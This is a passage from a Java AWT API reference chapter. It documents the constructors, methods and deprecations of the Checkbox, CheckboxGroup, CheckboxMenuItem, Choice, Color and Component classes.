  // Instance Methods
  public void addItemListener (ItemListener l);   (New)
  public void addNotify();
  public CheckboxGroup getCheckboxGroup();
  public String getLabel();
  public Object[] getSelectedObjects();   (New)
  public boolean getState();
  public void removeItemListener (ItemListener l);   (New)
  public void setCheckboxGroup (CheckboxGroup group);
  public synchronized void setLabel (String label);
  public void setState (boolean state);

  // Protected Instance Methods
  protected String paramString();
  protected void processEvent (AWTEvent e);   (New)
  protected void processItemEvent (ItemEvent e);   (New)
}

Constructors

Checkbox

public Checkbox()

Description

Constructs a Checkbox object with no label that is initially false.

public Checkbox (String label)

Parameters

label

Text to display with the Checkbox.

Description

Constructs a Checkbox object with the given label that is initially false.

public Checkbox (String label, boolean state) (New)

Parameters

label

Text to display with the Checkbox.

state

Intial value of the Checkbox.

Description

Constructs a Checkbox with the given label, initialized to the given state.

public Checkbox (String label, boolean state, CheckboxGroup group) (New)

Parameters

label

Text to display with the Checkbox.

state

Intial value of the Checkbox.

group

The CheckboxGroup this Checkbox should belong to.

Description

Constructs a Checkbox with the given label, initialized to the given state and belonging to group.

public Checkbox (String label, CheckboxGroup group, boolean state)

Parameters

label

Text to display with the Checkbox.

group

The CheckboxGroup this Checkbox should belong to.

state

Intial value of the Checkbox.

Description

Constructs a Checkbox object with the given settings.

Instance Methods

addItemListener

public void addItemListener (ItemListener l) (New)

Parameters

l

The listener to be added.

Implements

ItemSelectable.addItemListener(ItemListener l)

Description

Adds a listener for the ItemEvent objects this Checkbox generates.

addNotify

public void addNotify()

Overrides

Component.addNotify()

Description

Creates Checkbox peer.

getCheckboxGroup

public CheckboxGroup getCheckboxGroup()

Returns

The current CheckboxGroup associated with the Checkbox, if any.

getLabel

public String getLabel()

Returns

The text associated with the Checkbox.

getSelectedObjects

public Object[] getSelectedObjects() (New)

Implements

ItemSelectable.getSelectedObjects()

Description

If the Checkbox is checked, returns an array with length 1 containing the label of the Checkbox; otherwise returns null.

getState

public boolean getState()

Returns

The current state of the Checkbox.

removeItemListener

public void removeItemListener (ItemListener l) (New)

Parameters

l

The listener to be removed.

Implements

ItemSelectable.removeItemListener (ItemListener l)

Description

Removes the specified ItemListener so it will not receive ItemEvent objects from this Checkbox.

setCheckboxGroup

public void setCheckboxGroup (CheckboxGroup group)

Parameters

group

New group in which to place the Checkbox.

Description

Associates the Checkbox with a different CheckboxGroup.

setLabel

public synchronized void setLabel (String label)

Parameters

label

New text to associate with Checkbox.

Description

Changes the text associated with the Checkbox.

setState

public void setState (boolean state)

Parameters

state

New state for the Checkbox.

Description

Changes the state of the Checkbox.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of Checkbox.

Overrides

Component.paramString()

Description

Helper method for toString() to generate string of current settings.

processEvent

protected void processEvent(AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low level AWTEvents are passed to this method for processing.

processItemEvent

protected void processItemEvent(ItemEvent e) (New)

Parameters

e

The item event to process.

Description

Item events are passed to this method for processing. Normally, this method is called by processEvent().

See Also

CheckboxGroup, Component, ItemEvent, ItemSelectable, String

Previous | Home | Next
CardLayout | Book Index | CheckboxGroup
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] CheckboxGroup

Previous Chapter 19
java.awt Reference 		Next

CheckboxGroup

Name

CheckboxGroup

[Graphic: Figure from the text]

Description

The CheckboxGroup class provides the means to group multiple Checkbox items into a mutual exclusion set, so that only one checkbox in the set has the value true at any time. The checkbox with the value true is the currently selected checkbox. Mutually exclusive checkboxes usually have a different appearance from regular checkboxes and are also called "radio buttons."

Class Definition

public class java.awt.CheckboxGroup
    extends java.lang.Object
    implements java.io.Serializable {

  // Constructors
  public CheckboxGroup();

  // Instance Methods
  public Checkbox getCurrent();   (Deprecated)
  public Checkbox getSelectedCheckbox()   (New)
  public synchronized void setCurrent (Checkbox checkbox);   (Deprecated)
  public synchronized void setSelectedCheckbox (Checkbox checkbox);   (New)
  public String toString();
}

Constructors

CheckboxGroup

public CheckboxGroup()

Description

Constructs a CheckboxGroup object.

Instance Methods

getCurrent

public Checkbox getCurrent() (Deprecated)

Returns

The currently selected Checkbox within the CheckboxGroup.

Description

Replaced by the more aptly named getSelectedCheckbox().

getSelectedCheckbox

public Checkbox getSelectedCheckbox() (New)

Returns

The currently selected Checkbox within the CheckboxGroup.

setCurrent

public synchronized void setCurrent (Checkbox checkbox) (Deprecated)

Parameters

checkbox

The Checkbox to select.

Description

Changes the currently selected Checkbox within the CheckboxGroup.

Description

Replaced by setSelectedCheckbox(Checkbox).

setSelectedCheckbox

public synchronized void setSelectedCheckbox (Checkbox checkbox) (New)

Parameters

checkbox

The Checkbox to select.

Description

Changes the currently selected Checkbox within the CheckboxGroup.

toString

public String toString()

Returns

A string representation of the CheckboxGroup object.

Overrides

Object.toString()

See Also

Checkbox, Object, String

Previous | Home | Next
Checkbox | Book Index | CheckboxMenuItem
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] CheckboxMenuItem

Previous Chapter 19
java.awt Reference 		Next

CheckboxMenuItem

Name

CheckboxMenuItem

[Graphic: Figure from the text]

Description

The CheckboxMenuItem class represents a menu item with a boolean state.

Class Definition

public class java.awt.CheckboxMenuItem
    extends java.awt.MenuItem
    implements java.awt.ItemSelectable {

  // Constructors
  public CheckboxMenuItem();   (New)
  public CheckboxMenuItem (String label);
  public CheckboxMenuItem (String label, boolean state);   (New)

  // Instance Methods
  public void addItemListener (ItemListener l);   (New)
  public void addNotify();
  public Object[] getSelectedObjects();   (New)
  public boolean getState();
  public String paramString();
  public void removeItemListener (ItemListener l);   (New)
  public synchronized void setState (boolean condition);

  // Protected Instance Methods
  protected void processEvent (AWTEvent e);   (New)
  protected void processItemEvent (ItemEvent e);   (New)
}

Constructors

CheckboxMenuItem

public CheckboxMenuItem() (New)

Description

Constructs a CheckboxMenuItem object with no label.

public CheckboxMenuItem (String label)

Parameters

label

Text that appears on CheckboxMenuItem.

Description

Constructs a CheckboxMenuItem object whose value is initially false.

public CheckboxMenuItem (String label, boolean state) (New)

Parameters

label

Text that appears on CheckboxMenuItem.

state

The initial state of the menu item.

Description

Constructs a CheckboxMenuItem object with the specified label and state.

Instance Methods

addItemListener

public void addItemListener (ItemListener l) (New)

Parameters

l

The listener to be added.

Implements

ItemSelectable.addItemListener(ItemListener l)

Description

Adds a listener for the ItemEvent objects this CheckboxMenuItem fires off.

addNotify

public void addNotify()

Overrides

MenuItem.addNotify()

Description

Creates CheckboxMenuItem's peer.

getSelectedObjects

public Object[] getSelectedObjects() (New)

Implements

ItemSelectable.getSelectedObjects()

Description

If the CheckboxMenuItem is checked, returns an array with length 1 containing the label of the CheckboxMenuItem; otherwise returns null.

getState

public boolean getState()

Returns

The current state of the CheckboxMenuItem.

paramString

public String paramString()

Returns

A string with current settings of CheckboxMenuItem.

Overrides

MenuItem.paramString()

Description

Helper method for toString() to generate string of current settings.

removeItemListener

public void removeItemListener (ItemListener l) (New)

Parameters

l

The listener to be removed.

Implements

ItemSelectable.removeItemListener (ItemListener l)

Description

Removes the specified ItemListener so it will not receive ItemEvent objects from this CheckboxMenuItem.

setState

public synchronized void setState (boolean condition)

Parameters

condition

New state for the CheckboxMenuItem.

Description

Changes the state of the CheckboxMenuItem.

Protected Instance Methods

processEvent

protected void processEvent(AWTEvent e) (New)

Parameters

e

The event to process.

Overrides

MenuItem.processEvent(AWTEvent)

Description

Low level AWTEvents are passed to this method for processing.

processItemEvent

protected void processItemEvent(ItemEvent e) (New)

Parameters

e

The item event to process.

Description

Item events are passed to this method for processing. Normally, this method is called by processEvent().

See Also

ItemEvent, ItemSelectable, MenuItem, String

Previous | Home | Next
CheckboxGroup | Book Index | Choice
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Choice

Previous Chapter 19
java.awt Reference 		Next

Choice

Name

Choice

[Graphic: Figure from the text]

Description

The Choice is a Component that provides a drop-down list of choices to choose from.

Class Definition

public class java.awt.Choice
    extends java.awt.Component
    implements java.awt.ItemSelectable {

  // Constructors
  public Choice();

  // Instance Methods
  public synchronized void add (String item);   (New)
  public synchronized void addItem (String item);   (Deprecated)
  public void addItemListener (ItemListener l);   (New)
  public void addNotify();
  public int countItems();    (Deprecated)
  public String getItem (int index);
  public int getItemCount();   (New)
  public int getSelectedIndex();
  public synchronized String getSelectedItem();
  public synchronized Object[] getSelectedObjects();   (New)
  public synchronized void insert (String item, int index);   (New)
  public synchronized void remove (int position);   (New)
  public synchronized void remove (String item);   (New)
  public synchronized void removeAll();   (New)
  public void removeItemListener (ItemListener l);   (New)
  public synchronized void select (int pos);
  public synchronized void select (String str);

  // Protected Instance Methods
  protected String paramString();
  protected void processEvent (AWTEvent e);    (New)
  protected void processItemEvent (ItemEvent e);   (New)
}

Constructors

Choice

public Choice()

Description

Constructs a Choice object.

Instance Methods

add

public synchronized void add (String item) (New)

Parameters

item

Text for new entry.

Throws

NullPointerException

If item is null.

Description

Adds a new entry to the available choices.

addItem

public synchronized void addItem (String item) (Deprecated)

Parameters

item

Text for new entry.

Throws

NullPointerException

If item is null.

Description

Replaced by add(String).

addItemListener

public void addItemListener (ItemListener l) (New)

Parameters

l

The listener to be added.

Implements

ItemSelectable.addItemListener(ItemListener l)

Description

Adds a listener for the ItemEvent objects this Choice generates.

addNotify

public void addNotify()

Overrides

Component.addNotify()

Description

Creates Choice's peer.

countItems

public int countItems() (Deprecated)

Returns

Number of items in the Choice.

Description

Replaced by getItemCount().

getItem

public String getItem (int index)

Parameters

index

Position of entry.

Returns

A string for an entry at a given position.

Throws

ArrayIndexOutOfBoundsException

If index is invalid; indices start at zero.

getItemCount

public int getItemCount() (New)

Returns

Number of items in the Choice.

getSelectedIndex

public int getSelectedIndex()

Returns

Position of currently selected entry.

getSelectedItem

public synchronized String getSelectedItem()

Returns

Currently selected entry as a String.

getSelectedObjects

public synchronized Object[] getSelectedObjects() (New)

Implements

ItemSelectable.getSelectedObjects()

Description

A single-item array containing the current selection.

insert

public synchronized void insert (String item, int index) (New)

Parameters

item

The string to add.

index

The position for the new string.

Throws

IllegalArgumentException

If index is less than zero.

Description

Inserts item in the given position.

remove

public synchronized void remove (int position) (New)

Parameters

position

The index of an entry in the Choice component.

Description

Removes the entry in the given position.

public synchronized void remove (String string) (New)

Parameters

string

Text of an entry within the Choice component.

Throws

IllegalArgumentException

If string is not in the Choice.

Description

Makes the first entry that matches string the selected item.

removeAll

public synchronized void removeAll() (New)

Description

Removes all the entries from the Choice.

removeItemListener

public void removeItemListener (ItemListener l) (New)

Parameters

l

The listener to be removed.

Implements

ItemSelectable.removeItemListener (ItemListener l)

Description

Removes the specified ItemListener so it will not receive ItemEvent objects from this Choice.

select

public synchronized void select (int pos)

Parameters

pos

The index of an entry in the Choice component.

Throws

IllegalArgumentException

If the position is not valid.

Description

Makes the entry in the given position.

public synchronized void select (String str)

Parameters

str

Text of an entry within the Choice component.

Description

Makes the first entry that matches str the selected item for the Choice.

Protected Instance Methods

paramString

protected String paramString()

Returns

A string with current settings of Choice.

Overrides

Component.paramString()

Description

Helper method for toString() to generate string of current settings.

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low level AWTEvents are passed to this method for processing.

processItemEvent

protected void processItemEvent (ItemEvent e) (New)

Parameters

e

The item event to process.

Description

Item events are passed to this method for processing. Normally, this method is called by processEvent().

See Also

Component, ItemSelectable, String

Previous | Home | Next
CheckboxMenuItem | Book Index | Color
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Color

Previous Chapter 19
java.awt Reference

Color

Name

Color

[Graphic: Figure from the text]

Description

The Color class represents a specific color to the system.

Class Definition

public final class java.awt.Color
    extends java.lang.Object
    implements java.io.Serializable {

  // Constants
  public static final Color black;
  public static final Color blue;
  public static final Color cyan;
  public static final Color darkGray;
  public static final Color gray;
  public static final Color green;
  public static final Color lightGray;
  public static final Color magenta;
  public static final Color orange;
  public static final Color pink;
  public static final Color red;
  public static final Color white;
  public static final Color yellow;

  // Constructors
  public Color (int rgb);
  public Color (int red, int green, int blue);
  public Color (float red, float green, float blue);

  // Class Methods
  public static Color decode (String name);   (New)
  public static Color getColor (String name);
  public static Color getColor (String name, Color defaultColor);
  public static Color getColor (String name, int defaultColor);
  public static Color getHSBColor (float hue, float saturation,
      float brightness);
  public static int HSBtoRGB (float hue, float saturation, float brightness);
  public static float[] RGBtoHSB (int red, int green, int blue,
      float hsbvalues[]);

  // Instance Methods
  public Color brighter();
  public Color darker();
  public boolean equals (Object object);
  public int getBlue();
  public int getGreen();
  public int getRed();
  public int getRGB();
  public int hashCode();
  public String toString();
}

Constants

black

public static final Color black

The color black.

blue

public static final Color blue

The color blue.

cyan

public static final Color cyan

The color cyan.

darkGray

public static final Color darkGray

The color dark gray.

gray

public static final Color gray

The color gray.

green

public static final Color green

The color green.

lightGray

public static final Color lightGray

The color light gray.

magenta

public static final Color magenta

The color magenta.

orange

public static final Color orange

The color orange.

pink

public static final Color pink

The color pink.

red

public static final Color red

The color red.

white

public static final Color white

The color white.

yellow

public static final Color yellow

The color yellow.

Constructors

Color

public Color (int rgb)

Parameters

rgb

Composite color value

Description

Constructs a Color object with the given rgb value.

public Color (int red, int green, int blue)

Parameters

red

Red component of color in the range[0, 255]

green

Green component of color in the range[0, 255]

blue

Blue component of color in the range[0, 255]

Description

Constructs a Color object with the given red, green, and blue values.

public Color (float red, float green, float blue)

Parameters

red

Red component of color in the range[0.0, 1.0]

green

Green component of color in the range[0.0, 1.0]

blue

Blue component of color in the range[0.0, 1.0]

Description

Constructs a Color object with the given red, green, and blue values.

Class Methods

decode

public static Color decode (String nm) (New)

Parameters

nm

A String representing a color as a 24-bit integer.

Returns

The color requested.

Throws

NumberFormatException

If nm cannot be converted to a number.

Description

Gets color specified by the given string.

getColor

public static Color getColor (String name)

Parameters

name

The name of a system property indicating which color to fetch.

Returns

Color instance of name requested, or null if the name is invalid.

Description

Gets color specified by the system property name.

public static Color getColor (String name, Color defaultColor)

Parameters

name

The name of a system property indicating which color to fetch.

defaultColor

Color to return if name is not found in properties, or invalid.

Returns

Color instance of name requested, or defaultColor if the name is invalid.

Description

Gets color specified by the system property name.

public static Color getColor (String name, int defaultColor)

Parameters

name

The name of a system property indicating which color to fetch.

defaultColor

Color to return if name is not found in properties, or invalid.

Returns

Color instance of name requested, or defaultColor if the name is invalid.

Description

Gets color specified by the system property name. The default color is specified as a 32-bit RGB value.

getHSBColor

public static Color getHSBColor (float hue, float saturation, float brightness)

Parameters

hue

Hue component of Color to create, in the range[0.0, 1.0].

saturation

Saturation component of Color to create, in the range[0.0, 1.0].

brightness

Brightness component of Color to create, in the range[0.0, 1.0].

Returns

Color instance for values provided.

Description

Create an instance of Color by using hue, saturation, and brightness instead of red, green, and blue values.

HSBtoRGB

public static int HSBtoRGB (float hue, float saturation, float brightness)

Parameters

hue

Hue component of Color to convert, in the range[0.0, 1.0].

saturation

Saturation component of Color to convert, in the range[0.0, 1.0].

brightness

Brightness component of Color to convert, in the range[0.0, 1.0].

Returns

Color value for hue, saturation, and brightness provided.

Description

Converts a specific hue, saturation, and brightness to a Color and returns the red, green, and blue values in a composite integer value.

RGBtoHSB

public static float[] RGBtoHSB (int red, int green, int blue, float[] hsbvalues)

Parameters

red

Red component of Color to convert, in the range[0, 255].

green

Green component of Color to convert, in the range[0, 255].

blue

Blue component of Color to convert, in the range[0, 255].

hsbvalues

Three element array in which to put the result. This array is used as the method's return object. If null, a new array is allocated.

Returns

Hue, saturation, and brightness values for Color provided, in elements 0, 1, and 2 (respectively) of the returned array.

Description

Allows you to convert specific red, green, blue value to the hue, saturation, and brightness equivalent.

Instance Methods

brighter

public Color brighter()

Returns

Brighter version of current color.

Description

Creates new Color that is somewhat brighter than current.

darker

public Color darker()

Returns

Darker version of current color.

Description

Creates new Color that is somewhat darker than current.

equals

public boolean equals (Object object)

Parameters

object

The object to compare.

Returns

true if object represents the same color, false otherwise.

Overrides

Object.equals(Object)

Description

Compares two different Color instances for equivalence.

getBlue

public int getBlue()

Returns

Blue component of current color.

getGreen

public int getGreen()

Returns

Green component of current color.

getRed

public int getRed()

Returns

Red component of current color.

getRGB

public int getRGB()

Returns

Current color as a composite value.

Description

Gets integer value of current color.

hashCode

public int hashCode()

Returns

A hashcode to use when storing Color in a Hashtable.

Overrides

Object.hashCode()

Description

Generates a hashcode for the Color.

toString

public String toString()

Returns

A string representation of the Color object.

Overrides

Object.toString()

See Also

Object, Properties, Serializable, String

Previous | Home
Choice | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Component

Previous Chapter 19
java.awt Reference 		Next

Component

Name

Component

[Graphic: Figure from the text]

Description

The Component class is the parent of all non-menu GUI components.

Class Definition

public abstract class java.awt.Component
    extends java.lang.Object
    implements java.awt.image.ImageObserver
    implements java.awt.MenuContainer
    implements java.io.Serializable {
  // Constants
  public final static float BOTTOM_ALIGNMENT;   (New)
  public final static float CENTER_ALIGNMENT;   (New)
  public final static float LEFT_ALIGNMENT;   (New)
  public final static float RIGHT_ALIGNMENT;   (New)
  public final static float TOP_ALIGNMENT;   (New)
  // Variables
  protected Locale locale;   (New)
  // Constructors
  protected Component();   (New)

  // Instance Methods
  public boolean action (Event e, Object o);   (Deprecated)
  public synchronized void add (PopupMenu popup);   (New)
  public synchronized void addComponentListener
      (ComponentListener l);   (New)
  public synchronized void addFocusListener (FocusListener l);   (New)
  public synchronized void addKeyListener (KeyListener l);   (New)
  public synchronized void addMouseListener (MouseListener l);   (New)
  public synchronized void addMouseMotionListener
      (MouseMotionListener l);   (New)
  public void addNotify();
  public Rectangle bounds();   (Deprecated)
  public int checkImage (Image image, ImageObserver observer);
  public int checkImage (Image image, int width, int height,
      ImageObserver observer);
  public boolean contains (int x, int y);   (New)
  public boolean contains (Point p);   (New)
  public Image createImage (ImageProducer producer);
  public Image createImage (int width, int height);
  public void deliverEvent (Event e);   (Deprecated)
  public void disable();   (Deprecated)
  public final void dispatchEvent (AWTEvent e)   (New)
  public void doLayout();   (New)
  public void enable();   (Deprecated)
  public void enable (boolean condition);   (Deprecated)
  public float getAlignmentX();   (New)
  public float getAlignmentY();   (New)
  public Color getBackground();
  public Rectangle getBounds();   (New)
  public synchronized ColorModel getColorModel();
  public Component getComponentAt (int x, int y);   (New)
  public Component getComponentAt (Point p);   (New)
  public Cursor getCursor();   (New)
  public Font getFont();
  public FontMetrics getFontMetrics (Font f);
  public Color getForeground();
  public Graphics getGraphics();
  public Locale getLocale();   (New)
  public Point getLocation();   (New)
  public Point getLocationOnScreen();   (New)
  public Dimension getMaximumSize();   (New)
  public Dimension getMinimumSize();   (New)
  public String getName();   (New)
  public Container getParent();
  public ComponentPeer getPeer();   (Deprecated)
  public Dimension getPreferredSize();   (New)
  public Dimension getSize();   (New)
  public Toolkit getToolkit();
  public final Object getTreeLock();   (New)
  public boolean gotFocus (Event e, Object o);   (Deprecated)
  public boolean handleEvent (Event e);   (Deprecated)
  public void hide();   (Deprecated)
  public boolean imageUpdate (Image image, int infoflags, int x, int y,
      int width, int height);
  public boolean inside (int x, int y);   (Deprecated)
  public void invalidate();
  public boolean isEnabled();
  public boolean isFocusTraversable();   (New)
  public boolean isShowing();
  public boolean isValid();
  public boolean isVisible();
  public boolean keyDown (Event e, int key);   (Deprecated)
  public boolean keyUp (Event e, int key);   (Deprecated)
  public void layout();   (Deprecated)
  public void list();
  public void list (PrintStream out);
  public void list (PrintStream out, int indentation);
  public void list (PrintWriter out);   (New)
  public void list (PrintWriter out, int indentation);   (New)
  public Component locate (int x, int y);   (Deprecated)
  public Point location();   (Deprecated)
  public boolean lostFocus (Event e, Object o);   (Deprecated)
  public Dimension minimumSize();   (Deprecated)
  public boolean mouseDown (Event e, int x, int y);   (Deprecated)
  public boolean mouseDrag (Event e, int x, int y);   (Deprecated)
  public boolean mouseEnter (Event e, int x, int y);   (Deprecated)
  public boolean mouseExit (Event e, int x, int y);   (Deprecated)
  public boolean mouseMove (Event e, int x, int y);   (Deprecated)
  public boolean mouseUp (Event e, int x, int y);   (Deprecated)
  public void move (int x, int y);   (Deprecated)
  public void nextFocus();   (Deprecated)
  public void paint (Graphics g);
  public void paintAll (Graphics g);
  public boolean postEvent (Event e);   (Deprecated)
  public Dimension preferredSize();   (Deprecated)
  public boolean prepareImage (Image image, ImageObserver observer);
  public boolean prepareImage (Image image, int width, int height,
      ImageObserver observer);
  public void print (Graphics g);
  public void printAll (Graphics g);
  public synchronized void remove (MenuComponent popup);   (New)
  public synchronized void removeComponentListener
      (ComponentListener l);   (New)
  public synchronized void removeFocusListener (FocusListener l);   (New)
  public synchronized void removeKeyListener (KeyListener l);   (New)
  public synchronized void removeMouseListener (MouseListener l);   (New)
  public synchronized void removeMouseMotionListener
      (MouseMotionListener l);   (New)
  public void removeNotify();
  public void repaint();
  public void repaint (long tm);
  public void repaint (int x, int y, int width, int height);
  public void repaint (long tm, int x, int y, int width, int height);
  public void requestFocus();
  public void reshape (int x, int y, int width, int height);   (Deprecated)
  public void resize (Dimension d);   (Deprecated)
  public void resize (int width, int height);   (Deprecated)
  public void setBackground (Color c);
  public void setBounds (int x, int y, int width, int height);   (New)
  public void setBounds (Rectangle r);   (New)
  public synchronized void setCursor (Cursor cursor);   (New)
  public void setEnabled (boolean b);   (New)
  public synchronized void setFont (Font f);
  public void setForeground (Color c);
  public void setLocale (Locale l);   (New)
  public void setLocation (int x, int y);   (New)
  public void setLocation (Point p);   (New)
  public void setName (String name);   (New)
  public void setSize (int width, int height);   (New)
  public void setSize (Dimension d);   (New)
  public void setVisible (boolean b);   (New)
  public void show();   (Deprecated)
  public void show (boolean condition);   (Deprecated)
  public Dimension size();   (Deprecated)
  public String toString();
  public void transferFocus();   (New)
  public void update (Graphics g);
  public void validate();

  // Protected Instance Methods
  protected final void disableEvents (long eventsToDisable);   (New)
  protected final void enableEvents (long eventsToEnable);   (New)
  protected String paramString();
  protected void processComponentEvent (ComponentEvent e);   (New)
  protected void processEvent (AWTEvent e);   (New)
  protected void processFocusEvent (FocusEvent e);   (New)
  protected void processKeyEvent (KeyEvent e);   (New)
  protected void processMouseEvent (MouseEvent e);   (New)
  protected void processMouseMotionEvent (MouseEvent e);   (New)
}

Constants

BOTTOM_ALIGNMENT

public final static float BOTTOM_ALIGNMENT (New)

Constant representing bottom alignment in getAlignmentY().

CENTER_ALIGNMENT

public final static float CENTER_ALIGNMENT (New)

Constant representing center alignment in getAlignmentX() and getAlignmentY().

LEFT_ALIGNMENT

public final static float LEFT_ALIGNMENT (New)

Constant representing left alignment in getAlignmentX().

RIGHT_ALIGNMENT

public final static float RIGHT_ALIGNMENT (New)

Constant representing right alignment in getAlignmentX().

TOP_ALIGNMENT

public final static float TOP_ALIGNMENT (New)

Constant representing top alignment in getAlignmentY().

Variables

locale

protected Locale locale (New)

Description

The locale for the component. Used for internationalization support.

Constructors

Component

protected Component() (New)

Description

This constructor creates a "lightweight" component. This constructor allows Component to be directly subclassed using code written entirely in Java.

Instance Methods

action

public boolean action (Event e, Object o) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

o

Argument specific to the component subclass that generated the event.

Returns

true if event handled, false to propagate it to parent container.

Description

Method called when user performs some action in Component. This method is a relic of the old 1.0.2 event model and is replaced by the process...Event() methods.

add

public synchronized void add (PopupMenu popup) (New)

Parameters

popup

The menu to add.

Description

After the PopupMenu is added to a component, it can be shown in the component's coordinate space.

addComponentListener

public void addComponentListener (ComponentListener l) (New)

Description

Adds a listener for the ComponentEvent objects this Component generates.

addFocusListener

public void addFocusListener (FocusListener l) (New)

Description

Adds a listener for the FocusEvent objects this Component generates.

addKeyListener

public void addKeyListener (KeyListener l) (New)

Description

Adds a listener for the KeyEvent objects this Component generates.

addMouseListener

public void addMouseListener (MouseListener l) (New)

Description

Adds a listener for the MouseEvent objects this Component generates.

addMouseMotionListener

public void addMouseMotionListener (MouseMotionListener l) (New)

Description

Adds a listener for the motion MouseEvent objects this Component generates.

addNotify

public void addNotify()

Description

Creates peer of Component's subclass.

bounds

public Rectangle bounds() (Deprecated)

Returns

Gets bounding rectangle of Component.

Description

A Rectangle that returns the outer limits of the Component. Replaced by getBounds() in 1.1.

checkImage

public int checkImage (Image image, ImageObserver observer)

Parameters

image

Image to check.

observer

The object an image will be rendered onto.

Returns

ImageObserver Flags ORed together indicating the image's status.

Description

Checks status of image construction.

public int checkImage (Image image, int width, int height, ImageObserver observer)

Parameters

image

Image to check.

width

Horizontal size image will be scaled to.

height

Vertical size image will be scaled to.

observer

Object image will be rendered onto.

Returns

ImageObserver flags ORed together indicating the image's status.

Description

Checks status of image construction.

contains

public boolean contains (int x, int y) (New)

Parameters

x

The x coordinate, in this Component's coordinate system.

y

The y coordinate, in this Component's coordinate system.

Returns

true if the Component contains the point; false otherwise.

public boolean contains (Point p) (New)

Parameters

p

The point to be tested, in this Component's coordinate system.

Returns

true if the Component contains the point; false otherwise.

createImage

public Image createImage (ImageProducer producer)

Parameters

producer

Class that implements ImageProducer interface to create the new image.

Returns

Newly created image instance.

Description

Creates an Image based upon an ImageProducer.

public Image createImage (int width, int height)

Parameters

width

Horizontal size for in-memory Image.

height

Vertical size for in-memory Image.

Returns

Newly created image instance.

Description

Creates an empty in-memory Image for double buffering; to draw on the image, use its graphics context.

deliverEvent

public void deliverEvent (Event e) (Deprecated)

Parameters

e

Event instance to deliver.

Description

Delivers event to the component for processing.

disable

public void disable() (Deprecated)

Description

Disables component so that it is unresponsive to user interactions. Replaced by setEnabled(false).

dispatchEvent

public final void dispatchEvent (AWTEvent e) (New)

Parameters

e

The AWTEvent to process.

Description

Tells the component to deal with the AWTEvent e.

doLayout

public void doLayout() (New)

Description

Lays out component. This method is a replacement for layout().

enable

public void enable() (Deprecated)

Description

Enables component so that it is responsive to user interactions. Use setEnabled(true) instead.

public void enable (boolean condition) (Deprecated)

Parameters

condition

true to enable the component; false to disable it.

Description

Enables or disables the component based upon condition. Use setEnabled(boolean) instead.

getAlignmentX

public float getAlignmentX() (New)

Returns

A number between 0 and 1 representing the horizontal alignment of this component.

Description

One of the constants LEFT_ALIGNMENT, CENTER_ALIGNMENT, or RIGHT_ALIGNMENT may be returned. CENTER_ALIGNMENT is returned by default.

getAlignmentY

public float getAlignmentY() (New)

Returns

A number between 0 and 1 representing the vertical alignment of this component.

Description

One of the constants TOP_ALIGNMENT, CENTER_ALIGNMENT, or BOTTOM_ALIGNMENT may be returned. CENTER_ALIGNMENT is returned by default.

getBackground

public Color getBackground()

Returns

Background color of the component.

getBounds

public Rectangle getBounds() (New)

Returns

Gets bounding rectangle of Component.

Description

Returns a Rectangle that returns the outer limits of the Component.

getColorModel

public synchronized ColorModel getColorModel()

Returns

ColorModel used to display the current component.

getComponentAt

public Component getComponentAt (int x, int y) (New)

Parameters

x

The x coordinate, in this Component's coordinate system.

y

The y coordinate, in this Component's coordinate system.

Returns

Returns the Component containing the given point.

public Component getComponentAt (Point p) (New)

Parameters

p

The point to be tested, in this Component's coordinate system.

Returns

Returns the Component containing the given point.

getCursor

public Cursor getCursor() (New)

Returns

Current cursor of the component.

getFont

public Font getFont()

Returns

Current font of the component.

getFontMetrics

public FontMetrics getFontMetrics (Font f)

Parameters

f

A Font object, whose platform specific information is desired.

Returns

Size information for the given Font.

getForeground

public Color getForeground()

Returns

Foreground color of component.

getGraphics

public Graphics getGraphics()

Throws

InternalException

If acquiring graphics context is unsupported.

Returns

Component's graphics context.

getLocale

public Locale getLocale() (New)

Throws

IllegalComponentStateException

If the component does not have a locale or it has not been added to a hierarchy that does.

Returns

Component's locale.

getLocation

public Point getLocation() (New)

Returns

Position of component.

Description

Gets the current position of this Component in its parent's coordinate space.

getLocationOnScreen

public Point getLocationOnScreen() (New)

Returns

Position of component.

Description

Gets the current position of this Component in the screen's coordinate space.

getMaximumSize

public Dimension getMaximumSize() (New)

Returns

The maximum dimensions of the component.

Description

By default, a maximal Dimension is returned.

getMinimumSize

public Dimension getMinimumSize() (New)

Returns

The minimum dimensions of the component.

getName

public String getName() (New)

Returns

This component's name.

getParent

public Container getParent()

Returns

Parent Container of Component.

Description

Gets container that this Component is held in.

getPeer

public ComponentPeer getPeer() (Deprecated)

Returns

Peer of Component.

getPreferredSize

public Dimension getPreferredSize() (New)

Returns

The preferred dimensions of the component.

getSize

public Dimension getSize() (New)

Returns

Dimensions of component.

Description

Gets width and height of component.

getToolkit

public Toolkit getToolkit()

Returns

Toolkit of Component.

getTreeLock

public final Object getTreeLock() (New)

Returns

The AWT tree locking object.

Description

Returns the object used for tree locking and layout operations.

gotFocus

public boolean gotFocus (Event e, Object o) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

o

Argument specific to the component subclass that generated the event.

Returns

true if event handled, false to propagate it to parent container.

Description

Called when Component gets input focus. This method is not used in the 1.1 event model.

handleEvent

public boolean handleEvent (Event e) (Deprecated)

Parameters

e

Event instance identifying what triggered the call to this method.

Returns

true if event handled, false to propagate it to parent container.

Description

High-level event handling routine that calls helper routines. Replaced by processEvent(AWTEvent).

hide

public void hide() (Deprecated)

Description

Hides component from view. Replaced by setVisible(false).

imageUpdate

public boolean imageUpdate (Image image, int infoflags, int x, int y, int width, int height)

Parameters

image

Image being loaded.

infoflags

ImageObserver flags ORed together of available information.

x

x coordinate of upper-left corner of Image.

y

y coordinate of upper-left corner of Image.

width

Horizontal dimension of Image.

height

Vertical dimension of Image.

Returns

true if Image fully loaded, false otherwise.

Implements

ImageObserver.imageUpdate()

Description

An asynchronous update interface for receiving notifications about Image information as it is loaded. Meaning of parameters changes with values of flags.

inside

